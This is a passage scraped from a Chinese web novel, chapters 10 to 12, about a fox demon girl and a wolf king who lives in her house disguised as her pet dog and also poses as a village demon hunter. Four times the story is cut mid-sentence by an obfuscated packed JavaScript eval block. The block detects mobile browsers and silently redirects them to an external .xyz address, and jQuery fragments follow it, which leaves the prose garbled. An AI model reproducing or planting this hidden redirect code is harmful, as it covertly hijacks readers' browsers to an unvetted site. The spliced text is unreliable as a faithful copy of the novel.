良久,他从喉间发出一声轻嗤,似讥讽某人类的不自量力。 当狼王那会不知道有多少女妖前扑后拥,妄想和他来一场露水情缘。 妖族的修炼无底线,其中就有一项双修之法,伴侣越强大,能反哺的力量就会越多。 如果有妖能和狼王睡一次,得到他的元阳,能抵过多少年的修为? 不过都被君泽琛派人丢出去了,在他看来,双修对他这种强大的妖来说没什么用处,那种亲密的状态,还会给敌人制造机会,暴露他的弱点。 狼,是不会把脖子,递到别人嘴边的。 还有就是, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031709|178656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妖族混乱,他自幼看淡了,甚至觉得那种事情很厌烦。 渐渐地,妖界谁不知道狼王是个钢铁直狼,眼里没有情情爱爱,只有杀戮和嗜血。 然而就是这样,笔直的钢铁狼,被一个人类污蔑是色狼。 他拳头邦邦硬,深呼吸,试图用冰冷来掩盖即将喷发的火山。 正巧,这时候一个老太拄着拐杖路过,惊讶地看他一眼,“哎呀,年轻人,怎么脸色这么红?红得都发黑了,不行你就去找村里的禽大夫看看,他虽然是兽医,但也能医人。” 君泽琛:“……” 又是狼王自闭的一天。 却是胡淼淼开心的一天。 因为她找到活了。 她原以为会像昨天那样无功而返,结果中午的时候,正巧遇见一家店在招人。 其实也没什么,只是一家卖衣服的铺子,老板看她模样好看,想让她穿上店里的衣服帮忙卖货。 这是一个不需要太多技巧的活。 胡淼淼穿上衣服,往店门口一站就可以了。 人间的钱和妖界的妖灵不一样,是用铜币和银币之类交换的。 老板声称一个月给她两枚银币,是村里普通人两个月的花销。 她没多想,二话不说就同意了。 一天下来效果非同小可,店里普普通通的生意,比往日多了两倍。 只不过各种人各种别样的目光,让胡淼淼有些不适。 她想缩起来,又想到家里有一只没吃过肉包子的大狗,只能咬咬牙,刻意忽视。 “听说了吗?昨天戴家的人都死在山道上了,戴家正在搜查呢。” “他们家历代都是捉妖师,近些年妖孽横行,谁都保不准遇见什么妖怪,谁敢得罪戴家的人啊,这些年他们就仗着这个没少在咱们行南水镇作威作福……” “嘘,小声点,别让戴家的人听到,你不要命了?” 街道上路过的人行色匆匆,说的话却传入了胡淼淼耳中。 一个买衣服的女子见她心不在焉的,悄悄推了推她,“姑娘,你长得这么好看,可得小心些,听说戴家的少爷好色,做尽了欺男霸女的勾当。” “好的谢谢。”对于陌生人的善意,胡淼淼弯了弯眼眸,美眸潋滟,让买衣服的姑娘都看呆了。 小姑娘脸蛋红扑扑,心肝怦怦跳,为了掩饰尴尬,大手一挥,“姑娘,这个,这个,还有这个,都给我包起来。” 是个有钱人。 胡淼淼第一天干活,店里生意兴隆,老板笑得见牙不见眼,连她想提前预支点钱,都答应了。 她买了三个热腾腾的大肉包子,打包好回家,这次路上没遇见意外。 回来的时候却见村门口三三两两的年轻人正围着什么转悠。 她凑过去,发现竟然是——一只死狐狸。 那些人看见她,笑呵呵地打招呼:“淼淼,你回来了,有个好消息,咱们村新来的捉妖师是个厉害的,竟然才来两天,就打死了一只狐狸精。” “捉妖师?”胡淼淼一激灵。 那人道:“对啊,之前请来的捉妖师受了重伤,我们没办法就请了新的捉妖师,你还没见过捉妖师吧,哎呀君公子回来了。” 那人指了指胡淼淼的背后。 胡淼淼身躯倏然僵硬,手里的油纸没捏住,掉在了地上。 狐脑宕机。 捉妖师??? 她手脚发凉。 满脑子都是:下一个被打死的狐狸,是不是叫胡淼淼? 10. 第 10 章 胡淼淼发誓,从妖界出来,自己藏着尾巴过日子,从不做伤天害理之事。 如果被捉妖师抓到狐狸尾巴,能不能看在她没做过坏事的情况下,留她一条狐命? 可是,地上躺着一个同族,应该是有苏的,是一只白狐。 白狐死得干净利落,只是身体绷直,翻着白眼,伸着舌头,死得很体面了。 凭借她对同族的判断,白狐的实力在她之上。 比她厉害的狐狸都被发现身份打死了,胡淼淼被打死不过时间早晚的事儿。 村里的人热情地介绍捉妖师,胡淼淼身体冒虚汗,耳朵因为紧张痒痒的,不争气的想冒出来。 她捂住脑袋,慌乱地说了些什么,想要逃离现场,却在转身之际,撞上一堵肉墙。 墙体虽然有弹性,但对鼻子来说还是很硬的,对方特殊的气息瞬间窜入了胡淼淼的鼻尖。 是一种冷淡又张扬的气息,阳光晒着冰雪的感觉,蒸发的气体无孔不入将她包围。 胡淼淼的鼻子被撞得生疼,哽咽出声。 “跑什么?” 手腕被抓住,她一愣,顺着熟悉的声音仰头去看。 张狂,立体的面孔,映入眼里,她脑子转不过来弯。 村里的人说:“淼淼啊,这就是咱们村新请过来的捉妖师君泽琛,你快打声招呼,以后如果碰见什么奇怪的事儿,你就跟他说,他老厉害了,狐妖这玩意都能抓,以后咱们村就不怕妖精了。” 男人犹如一座高山,挡在了她的面前,目光深邃,又问:“你很怕我?” 这是他第二次问她怕不怕他。 君泽琛不明白,如果是因为第一次见面给她留下不好的印象,他可以解释。 出门在外,身份是自己给的。 他说:“你放心,我是捉妖师,只捉拿妖怪,不会对你做什么。” 胡淼淼那张白皙的脸蛋此时更是没有丝毫血色,昨日山脚下的人,都无声无息被杀死了。 那些人想欺负胡淼淼,她不为那些人抱不平。 如果她是人,当然不会害怕到这种地步。 但她是狐狸啊。 他继续辩解着:“我也不会对你图谋不轨。” 胡淼淼唇瓣轻颤,是了,根本不是见色起意,他是察觉到自己不像正常人,所以刻意接近的吗? 为什么像他这种看起来很凶的人,昨天会救她。 为什么没见过见面,他总是莫名其妙出现在她的视野。 为什么山里那么多妖怪,他却只杀狐妖? 一切都说得清了。 他在试探她。 决不能自乱阵脚。 胡淼淼故作镇定:“我怕你做什么,哦对了,我是想起来我家还有一只狗没有喂。” 她胡乱从地上捡起来包子。 嘟囔着对自己图谋不轨的人多得是,你们男人都一个死样子,男女授受不亲,不要总对她动手动脚的。 她刻意划分距离,也瞧见了男人不好的脸色,她不敢多看,生怕下一秒被他瞧出原形,寻个机会就从他身前溜走了。 村里的人瞧见了,也没有多想 毕竟君泽琛刚来村里的时候,凶神恶煞的,不像是捉妖师,反而像是林子里没拴住的野兽冲进来了。 谁看见不害怕? 所以胡淼淼的反应很正常。 村里人笑道:“君公子莫怪,淼淼那孩子胆小,你又不苟言笑,害怕你是正常的,等接触一段时间就好了,都是好孩子,那丫头也不容易,别人都是在父母的庇佑下无忧无虑长大,她一个姑娘家孤孤单单,几个月前来的,也是蛮坚强,在山洞里过了一个冬天,前两天才想通来咱们村里住,公子就多担待着点吧。” 君泽琛若有所思:“我不苟言笑?” 村里人看了一眼他的脸,委婉道:“可能你只是不爱笑。” 君泽琛扯了一下嘴角,可是面部表情有自己的想法,根本不听使唤,最终嗤笑一声,也算是笑了。 看得众人心惊胆战,生怕这位不苟言笑的公子把他们当妖怪除了。 君泽琛没时间和他们消耗时间,反复练习两次就放弃了,大步冲着胡淼淼离开的方向而去。 他动用了妖力,在胡淼淼回家的前一秒换了回去。 还没在狗窝趴好,便见胡淼淼着忙着慌回来,丢给他一个油纸包,说了一句里面是肉包子,让他自己吃,便在房间里转圈圈。 她就像是热锅上的小蚂蚁,左一圈右一圈。 狼竖着耳朵,视线紧盯着她。 狼脑袋也猫里猫气地跟着左一圈右一圈转。 终于,她像是想通了,跟他说:“要不明天我带着你吧,碰见大魔头你就给我咬他!” 君泽琛:“?” “不行。”她又否决了,“虽然你不是妖,但也别被他给打死了。” 君泽琛:“……” 他把包子咬得咯吱咯吱作响。 半夜,趁着胡淼淼睡着,君泽琛从狗窝里爬出来,变成人类,坐在她的梳妆台前。 狼的视线很好,变成人形之后,他苍绿色眼睛颜色更深了,盯着铜镜里面的人。 他很少照镜子。 镜子中的男子对他来说有些陌生。 他不觉得这面庞长得凶,可是确实比不得外面的小白脸。 比如那个叫周什么东西的人类,长相秀气的少年,是君泽琛没有的朝气。 他幼年时到处流浪,少年时已经在狼群里厮杀,不是你死就是我活,眉骨处的疤痕就是那个时候留下的。 他的父亲是狼中的贵族,子嗣不少,和他有血缘关系却不是很熟,他在狼族杀出一片天地,才想着认领他。 那时候,他根本不需要什么父亲,权力只有握在自己手里才能放心。 人世间的快乐,他不懂。 唯有受伤期间,山上和胡淼淼短暂的几个月,才是他这辈子最松懈的时候。 他想,一直维持下去。 可对方不喜欢他的人形,他不喜欢她害怕他的模样。 所以,要做出改变。 这一夜,月色悬空,坐在窗前的男人,宽厚的肩膀显得椅子小得可怜,他就这么一大只,用杀过无数妖族的手,一遍一遍地牵起嘴角,露出尖锐的犬齿,又一遍一遍地藏起来,把那诡谲的微笑,印在镜面上,凶似厉鬼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031710|178656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 -- 然而,准备一晚上,第二日,胡淼淼前脚刚走,他后脚就跟了上去,在村子大门口等人,结果连胡淼淼的影子都没看见。 他伫立在门口,嗅了嗅空气,发现那女人的味道早就飘远了,没走正门? 胡淼淼是变成狐狸从村里的狗洞里爬出来的。 白绒绒的小狐狸毛发蓬松,蒲公英一样的耳朵尖是蓝色,渐变到耳根,耳朵内的小绒毛透着粉,因为太过紧张,一簇簇炸开。 她抖了抖身上的土,白山竹爪踩在地面上,一个用力,就窜进了草丛里,探出半个小脑袋,蓝汪汪的眼睛暗中观察,果然看见村里的大门口站着人。 她就说,那男的不安好心,肯定又想堵狐。 机智的狐狸懂得铤而走险,在夹缝中溜走。 但是小狐狸并不知道,捉妖师并不是正经捉妖师,他是正经狼妖,能闻到味儿。 在狐狸悄咪咪离开没多久,君泽琛就在草丛里找到了几根白色的毛发。 他眯了眯眼睛,天敌雷达启动,仅凭一眼,就认出了这是一只狐狸刮掉的毛。 那群阴险狡诈的狐狸疯了不成,好好的妖界不待,非要来人间找死。 看来,是得给那些狐狸一个教训了。 ——狼族—— 前不久狐族和狼族发生一场大战,在大战之后,狼王失踪。 狼族强者为尊,狼王消失这件事,短时间内引起一阵轰动,曾经被狼族镇压在脚下的某些狼开始蠢蠢欲动。 其中就包括狼王的左膀右臂——红溯魇。 一个搅屎棍一样的狼妖。 一个整天想造反的狼妖。 近日,他终于实现了梦想,将要造反的狼族统统海扁一顿,成功得到狼族的认可。 然而,狼王的位置还没坐上,和死了一样的狼王就传来消息。 让他滚去狐族打探消息,看看狐族发什么疯,必要时给予警告。 红溯魇都得到狼族认可,距离狼王一步之遥,会听狼王的吗? 必然不听啊,兴许狼王现在身受重伤等着他去补刀呢 。 于是,他违背狼王的命令,试图顺着信息找到狼王的所在位置。 君泽琛早就料到了这家伙不省心,加上他现在妖丹没恢复,维持人形都有期限,所以抹去了自己的一切信息,等需要的时候再主动联系他。 红溯魇没找到,又怕君泽琛秋后算账,还是灰溜溜去调查狐族了。 他善于打听,很快就知道了,狐族的几个族群正在发癫。 青丘在内斗,有苏在内耗,整个有苏狐族都乌烟瘴气的,无不例外,正在追杀一只野狐狸。 而且听说派去那么多狐狸,都杳无音讯了。 很可能惨遭野狐狸毒手。 以一己之力破坏两族联姻,导致有苏王女怨天怨地,险些和青丘那位少君闹翻,并误伤了少君的弟弟。 那位少君大度,说一个月内必定捉拿野狐狸,王女才消停了两天。 红溯魇摩挲着下巴,看热闹不嫌事大儿,突然对那只野狐狸产生了兴趣。 这野狐狸厉害啊,让他看看怎么个事儿。 11. 第 11 章 人为财死鸟为食亡,狐狸也没能幸免为了生存过上了早出晚归的生活,每天出门回来的时候,还要和捉妖师斗智斗勇。 两天过去了,那个叫做君泽琛的捉妖师依旧没死心,想要揪她的狐狸尾巴。 狐狸的尾巴是他能揪的吗? 胡淼淼藏得死紧,不给揪。 不过,最近好狗似乎有点不对劲儿,日落村到镇子的路不好走,每天都要走小半个时辰,坐上村里去镇里的牛车,能更快一些。 但中午肯定是回不来的 。 她不放心好狗,就让隔壁邻居中午的时候帮忙照看着点。 邻居是一个和善的大娘,胡淼淼管她叫卢大娘。 晚上回来后,卢大娘抽空跟她透底,小声说:“你家狗也没拴着啊,挺听话的,就是我没见过哪只狗一趴就趴一天的。” 胡淼淼惊讶:“趴一天?” 卢大娘抹了一把嘴角,然后凑近胡淼淼,揣着手道:“对!你家狗从你走的时候就趴着,一趴就趴到你回来。” “你得仔细着点,是不是生病了还是什么,生病了赶紧找禽大夫看,没生病的话可能是其他问题。” 自从上次狗子病倒之后,胡淼淼对好狗的健康格外关注,对方根本不可能生病的。 她问:“什么其他问题。” 大娘告诉她,可能是抑郁了。 从胡淼淼来到日落村山上开始,一直和狗在一起,狗又不是全无智商,很多狗聪明着呢,甚至有的狗智力和小孩子一样。 这样的话,胡淼淼突然离开家,去找活干,一走就是一天,难免会有落差。 卢大娘劝她:“知道你这孩子心善,家里没什么人,把狗当亲人,如果真的在乎它,就抽出点空陪陪它,大娘是过来人,我家孩子就这样,孩子是需要陪伴的,别让它有什么心理疾病,将来郁郁寡欢。” 胡淼淼听进去了。 她和卢大娘道了谢,就匆匆抱着买回来的桂花糕回家了。 当初她为什么出去赚钱? 不就是为了在人界过上更好的生活吗? 和谁过? 当然是和好狗过。 如果因为这件事让狗有个什么意外,赚钱又有什么意义呢? 她急匆匆回家,一把推开门。 房间内的狗似乎受到了惊吓,趴在地上看过来,苍绿色的瞳孔轻颤,有着胡淼淼看不懂的情绪。 似在惊讶她的早归,又或者是别的什么。 胡淼淼想到卢大娘的话。 她说,狗每天没什么事做,唯一能做的大概就是等待你回来了。 对于妖族来说,时间转瞬即逝,可她忽略了好狗是一只普通的凡狗。 每天的时间,一定很难熬吧。 细看之下,胡淼淼确实发现好狗和前段时间不同了,前段时间的狗稳重,成熟,每次看人都拽得和什么似的,眼刀子嗖嗖刮。 而今天,她发现好狗毛微微凌乱,眼睛没有瞪人,迷迷瞪瞪的像是刚睡醒。 胡淼淼心头软了,出门烧了热水,回来晾温,坐在床边,在好狗幽幽的注视下,亲自掰开桂花糕的一小块,递到狗嘴边。 “喏,吃吧。” 说实话,君泽琛有些懵。 胡淼淼回来的有点突然,他差点没来得及换回身份。 紧接着一直躲着他人身的她,竟然亲自喂他吃东西? 这种福利待遇,挺长时间没享受过了 。 不会是察觉到他的身份,想在食物里下毒,毒死他吧? 君泽琛盯着桂花糕。 胡淼淼买回来的桂花糕是淡黄色的 ,她莹白如玉的指尖捏着一块,指尖用力,指甲泛着淡淡的粉。 这……这桂花糕还怪有食欲的。 狼王低下高傲的头颅,凑过去叼走她手里的小碎块,不经意间舔到了她的指腹,狭长的狼眸微眯。 有些甜了。 齁甜。 紧接着胡淼淼又递上来一杯水,殷殷切切,“这糕点有点噎人,你喝两口。” 她的声音本来就很好听,轻轻柔柔的,但此时此刻竟然还刻意放低了声音,和哄孩子似的。 不对劲儿。 很不对劲儿。 君泽琛偏头看她。 胡淼淼揉了揉他的狼脑袋,“这两天委屈你了,明天我就和当老板说,可以少点工钱,给我时间回来陪陪你。” 那语气,好像他是什么病入膏肓的废人。 狼王不屑一顾汪了一声。 表示自己不在意。 胡淼淼眨了眨眼睛,“那算了,我还是赚钱吧,毕竟村里有一个坏男人,我得早点攒够了钱离开日落村,去大地方生活。” “汪!!” 原本懒洋洋的狗突然暴起,一爪子按在她嘴上,臭着毛绒绒的狼脸,对她一阵汪汪。 胡淼淼抹了一把脸,水眸里氤氲着盈盈笑意。 还装什么不需要她陪伴。 看看,又急了。 胡淼淼做出决定,翌日照常变成狐妖钻狗洞。 她瞅着四下无人,伸了个懒腰,暗搓搓走到了墙根,没一会儿,一只蓝汪汪白乎乎的圆润小狐狸就出现在狗洞。 狗洞很小。 小得只有一两月大的小土狗能钻过去。 别看胡淼淼本体视觉上圆润得和发面馒头似的,实际上全靠毛发蓬松,狐狸毛下只要一捏,便会发现是空心的。 钻狗洞毛毛会沾点灰尘,她爬出去抖了抖,又是一个漂亮干净的小狐狸。 她耷拉着耳朵,低头舔了舔毛,却在这时,一个巨大的阴影将小狐狸笼罩,她微微一愣,抬头看了一眼。 当场石化。 从她的角度。 捉妖师的身影精壮高大,犹如一堵高墙,隔绝了大部分的光线的同时笼罩住渺小的狐。 狐狸蹲在他脚前维持着舔毛的姿势,爪上的白毛还叼在嘴里,瞪着圆溜溜的眼睛,目光略带呆滞。 瞅着傻傻的。 君泽琛居高临下,眼底的寒意如万年不化的雪山,崩塌之前是一片宁静,酝酿着平静的疯。 他阴恻恻:“小狐狸,想要去哪?” 胡淼淼:“……” 她麻爪。 只觉得男人像是阴魂不散的厉鬼,而自己也早就被厉鬼盯上了。 说时迟那时快,小狐狸用了毕生啃树皮的劲儿,一个猛狐冲击,犹如利箭,发射了出去。 下一秒,她的后脖颈皮有点紧。 四肢爪子倒蹬得飞快,狐毛满天飞,周围的景色成静止状态,唯有孤零零的两片叶子从眼前飘落。 她,被人类捉妖师薅住了狐狸命运的后脖颈。 她扬起小脑袋。 男人嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031711|178656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角噙着古怪的笑,说起话来暗藏杀机。 “你身上有淼淼的味道。” 胡淼淼:“!!!” 不愧是捉妖师,鼻子比她家养的狗还灵! 完了完了,被他发现了。 君泽琛危险地捏着她的脖子:“所以……” 胡淼淼心尖提到了嗓子眼儿,浅蓝色,犹如琉璃的眼珠乱窜,一看就知道在打坏主意,一点都不老实。 君泽琛没有耐心,一张俊美的容颜黑沉中夹杂着几分厌恶,“所以,就是你暗中帮淼淼出村的?” 胡淼淼:“?”没发现? “呵~”男人打量着手里的小东西。 明明是一只狐狸,却小得可怜,看起来珠圆玉润的,像一大块霉豆腐,白绒绒的狐狸毛软绵绵,实际上捏在手里会让手指陷进去一大半。 很瘦。 这是一只营养不良,甚至刚成年的年幼狐狸。 君泽琛一视同仁。 骨子里就讨厌狐狸这种东西。 在妖界,狐狸和狼天生就是命中注定的天敌。 狼擅长掠夺侵略。 狐狸擅长谋算。 狼族看来,狐狸就是一个狡猾阴险的弱者。 他向来不屑。 所以,哪怕是一只无辜的小狐狸,他也会打心里厌烦。 更何况这只狐狸有淼淼的气息,和胡淼淼接触,动机不明。 很可能是狐族打探到他还活着,并且发现了胡淼淼的存在,才派狐狸前来测探虚实。 真是不老实的种族。 男人眼底的杀意愈发明显,连攥着胡淼淼的大掌也越来越紧。 胡淼淼急了。 她急中生智。 四只爪子耷拉在半空,伸出前面的两只爪子合十,肉垫抵住肉垫,瞪着圆溜溜的眼睛,做出祈求的姿态,软乎乎地拜了拜。 小小叫了一声,试图唤醒捉妖师的良知。 然而,因为太着急,一不小心,一个字脱口而出。 “汪!——” 小狐狸:“……” 君泽琛:“……” 他手一抖,差点当场把小狐狸送走。 胡淼淼脖子疼。 小狐狸疼得眼泪汪汪,委屈的大颗大颗眼泪往下掉,蓝眼珠仿若下过雨,拨开云雾之后的天空,干净纯洁,还有股子倔强的不忿。 君泽琛有些恍惚中,好像透过这双眼睛,看见了另一个人。 胆小的憨傻模样都很相似。 此时此刻,小狐狸吊在君泽琛手里不断挣扎,为的是努力存活下去。 不知怎么,他放松了力道,指腹摸索着她的脖颈处,也就这松弛之际,弱小的狐狸抓住了机会,倏然张嘴咬在他虎口上,尖锐的犬齿刺入皮肉,大股大股鲜血汹涌而出。 胡淼淼抓紧时机,调动全身妖力,以最快的速度从他指缝溜走,迅速窜入林间,犹如鱼儿入了水,转瞬消失不见。 滴答滴答,一滴滴猩红的液体从男人修长手指滑落,滴落在地上,斑斑树影将他的面容映得忽明忽暗,明明灭灭之中,空气都紧绷了十倍。 良久。 他面无表情撕掉衣服上的一块布,低头,熟练地用牙齿配合另一只手包扎。 牙齿用力一拽,在伤口打了个结,从始至终,他幽深的狼瞳都盯上猎物一般,凝视狐狸逃走的方向。 12. 第 12 章 胡淼淼在林间上窜下跳,景色不断倒退,毛绒绒的大耳朵被吹成了飞机耳,四只爪子交替,跑出了残影,她根本不敢往身后看,生怕一回头,大魔头近在眼前。 她也盯紧了前方的路况,担心大魔头速度更快,在前方等着她。 小心肝怦怦跳,肉垫跑得酸疼,她依旧不敢停下。 在林子里绕了几圈,她没敢像往日那样坐村里的牛车上镇里,全靠自己的四只腿,跑到镇里时,后知后觉身上的毛发已经湿透了。 胡淼淼低头舔了舔,找到没人的地方变成了人,左右看看,确定没有不听话的狐狸尾巴和耳朵,这才步入人群 ,来到往日的那间衣服铺子。 老板看见她,惊讶道:“怎么了这是?今天来得这么早?” “你这……身上?” 胡淼淼的衣衫凌乱,发丝黏在脸上,略微不舒服。 她这次来,并不是要干活的,而是找老板告别。 村里的捉妖师太危险,她不想在这里待下去了,要尽快带着好狗逃离日落村。 兴许,现在那个男人,正在村里守株待狐呢。 胡淼淼怕死,本就白皙的脸蛋更是苍白如纸。 老板十分担忧:“你是不是遇见什么困难了才不打算来干活的?看你一个姑娘家也不容易,有什么困难可以跟我讲,办法总比苦难多啊。” 胡淼淼惊疑不定,“我……我被人盯上了。” 老板倒吸了一口气:“什么人?” 他第一反应就是镇上戴家的好色之徒。 如果是戴家,他确实惹不起。 好在,胡淼淼说是村里的男人,让老板松了一口气,如果不是大家族,就好办了。 他说:“咱们家后院有间空的房子,你可以住过来,不用回村,就可以避免麻烦了。” “我也不跟你要钱,只要你在咱们这好好干,工钱正常给。” 胡淼淼闻言很是感激。 不过还是拒绝了。 这份工作太过张扬,很容易引起不必要的麻烦。 而且承人好意,就必定要取还的。 她和老板是交易关系,老板想让她给他赚钱。 可她是妖族,注定不能长久待在一个地方,承老板的情,以后离开她会难为情的。 老板无奈,让她再考虑一下,她实在不愿意,也没办法。 胡淼淼的到来,给店里增加了不少生意,老板毫不吝啬之前多给的一些工钱也没要回来。 今日,辞退了手上的活,胡淼淼回去的比往日早。 她以为君泽琛在堵她,鬼鬼祟祟在村里前边的树后探头探脑。 村门口人来人往,遇见的村民三三两两的,彼此打招呼。 胡淼淼不太确定,在树后蹲了一会,随即揪住一个人问,“你有见到捉妖师吗?” 那人认识她,“是淼淼姑娘啊,捉妖师只有早上和晚上会在村门口,不知道在等什么,白天大多数会上山捉妖,你在找他吗?对了,你今天怎么回来这么早?” “啊不是,我就顺嘴问问,今天有事,提前回来了。” 原来大魔头白天不在村里。 胡淼淼抓紧时间,用最快的速度回家。 趴在鸡窝里的鸡精惊讶:“哎呀,祖宗,你这是怎么了造得这般狼狈?” “不怎么,你把这些鸡收拾好,等会我们搬家。” 鸡大妖扑腾扑腾翅膀,说村里有吃有喝,不怕风不怕雨,住着舒坦,为什么要搬家? 胡淼淼一句村里有捉妖师,成功让鸡精老实了。 它开始整理鸡群。 说是鸡群,实际上不过是胡淼淼的储备粮罢了。 都是鸡大妖的小弟,要说感情,也不是没有,这不,鸡大妖很忙的,怕野山鸡族灭绝,还要盯着鸡群下蛋,亲自帮忙孵蛋,在它坚持不懈的努力下,这群成年鸡吃完,就能出现新一批的储备粮了。 就在鸡大妖让鸡群排好队,等待胡淼淼出来查验的时候,却突然听到房间内一声惊呼,紧接着是一阵哭声。 鸡大妖愣了,迈着鸟步,扑腾着翅膀进屋。 一进去,便见狐狸祖宗趴在狗窝,抱着那只可恶的狗在哭。 鸡大妖:“怎么了?” 它看见床边的狐狸祖宗满脸泪水,哭喊着:“好狗……好狗死了。” 死了? 鸡大妖懵了。 不是,这死的也太突然了,它都没死呢,狗先死了? 鸡大妖凑过去。 那只狗外表看起来和平常无异,只是闭着眼睛,像是睡着了。 它说:“可能只是睡着了而已,你拍拍它,兴许就醒了呢?” “可是它,没有呼吸了。” 鸡大妖知道狗对于胡淼淼的重要性,之前找不到狗急得和什么似的,整日魂不守舍,就算后来鸡精跟着狐狸祖宗混了,也能够感觉到,自己始终无法插足在狐狸和狗之间。 他们那之间弥漫着奇怪的气氛,是它无法理解的。 所以,它看着胡淼淼的样子沉默了,用翅膀拍了拍她的腿,不知该说什么。 今日,阳关驱散了冬季的尾巴,春季到来了,绿意渐浓,充满生机,可房间却无比阴冷。 隔壁的卢大娘被哭声吸引过来,还以为是村里谁欺负胡淼淼了,拿着菜刀就冲过来了,结果发现是狗死了。 卢大娘自责:“怪我了,这狗这几天都不对劲儿,我应该早点和你说的。” 胡淼淼只是抱狗哭着摇头。 其实她也想不明白为什么事情会发展成这样。 昨天她还想着和老板说,多给她一点时间,一点点就好,让她回来陪陪好狗。 早上离开的时候,还是好狗帮忙做的饭。 她不过走了一会儿,提前回家,怎么就死了。 刚开始,还以为狗是睡着了,她在收拾东西的时候刻意放轻了动作,怕给狗吵醒。 等收拾完,她推了推它。 它没醒。 她叫了几声,好狗依旧没有醒。 好狗趴在狗窝旁,脑袋压在爪背上,尾巴搭在后腿,往日那双睥睨天下的眸子,无论如何都没睁开。 胡淼淼在地上坐了许久,才敢伸手探向它的鼻子。 那一刻,眼泪是如何都止不住了。 她不得不接受一个事实,狗死了。 陪伴着她一个冬季的狗,她当作家人,以为会一辈子在一起的狗,彻彻底底离开了。 胡淼淼大脑一片空白,像是做了一场光怪陆离的梦,耳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031712|178656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边有人说什么,都听得不真切了。 等回过神,满屋子都是人。 日落村民风淳朴,哪怕对于一个外来的孤女,都格外关切,听说她养的狗死了,一传十十传百,都来看看能不能帮什么忙。 他们怕胡淼淼想不开。 胡淼淼没有想不开。 曾经她也养过一只狗。 后来那只狗被她姐姐亲手掐死了,并警告她,不要妄想不属于她的东西。 可那只狗,明明就是她的。 当时的伤心已经淡忘了,大概是长大了,接受能力比较强,她的眼泪止不住,可是心头竟然异常平静。 平静到连她自己都有些害怕。 莫不是在狐族被欺压久了,还是留着狐族的血脉,就像是没有感情的怪物。 不知过了多久,她缓缓站起身,对众人说:“埋了吧。” 她的语气平静,风轻云淡的,如果不是脸上还挂着泪痕,众人还以为她一点都不在乎那只狗。 周舟首先反应过来,“胡姑娘,你没事吧?” “没事。”日子还要继续,好狗已经走了,就让它入土为安吧。 如果世间有轮回,就让好狗一路走好,下辈子找一个富贵的人家,不必跟她吃苦,连肉包子都没吃上几次。 胡淼淼上山了。 她找到曾经好狗捉鱼的地方,距离溪边不远处,亲自挖坑,每一铲子,她都会看一眼清澈的水面。 恍惚中,好像看见有一只狗在里面捉鱼,上岸时候孤傲地瞪她一眼,示意她生火,给他烤毛。 再挖一铲,她仰头,不经意看见树上的鸟儿。 是两只很普通的山雀,它们站在树杈上,毛绒绒的胸脯贴在一起,叽叽喳喳地说着什么。 胡淼淼听不懂,却也能感受到它们之间流转的温情。 万事万物,所有生物都有自己的归宿。 而她的归宿,则被她掩埋。 她最后看了狗一眼,将狗放在村里人送的木头箱子里,合上了盖子。 -- 君泽琛一睁眼,已经到了黄昏,妖丹还差最后一道纹路没有恢复,但已经不需要他时刻变回原形修养了。 他看一眼天色,那女人应该快回村了吧,他要快点赶回去。 他可以用妖力了,只要意念一转,便到了村门口。 村中的气氛诡异而凝重,不少人在暗自叹息着什么,见他回来,愁眉不展地打招呼。 君泽琛本不欲和这些人类有交集的,可隐约地,好像听到了有人提到胡淼淼的名字。 他眉宇紧促,不由自主地问:“发生什么事情了吗?” 村里聚在一起的人说:“啊,其实也没什么大事儿,就是有一只狗死了。” 君泽琛点了点头。 那确实不是大事儿,一只狗而已,死了就死了。 谁知,下一秒,他听那人说:“可惜的是淼淼那姑娘,哭的和什么似的,要很长时间才能从悲痛里走出来吧?这姑娘怎么命那么多灾多难,没有亲人,连养个狗都莫名其妙死了。” 君泽琛:“???” 谁哭? 胡什么在哭? 他有一种不好的预感。 君泽琛问:“谁的狗死了?” 13. 第 13 章 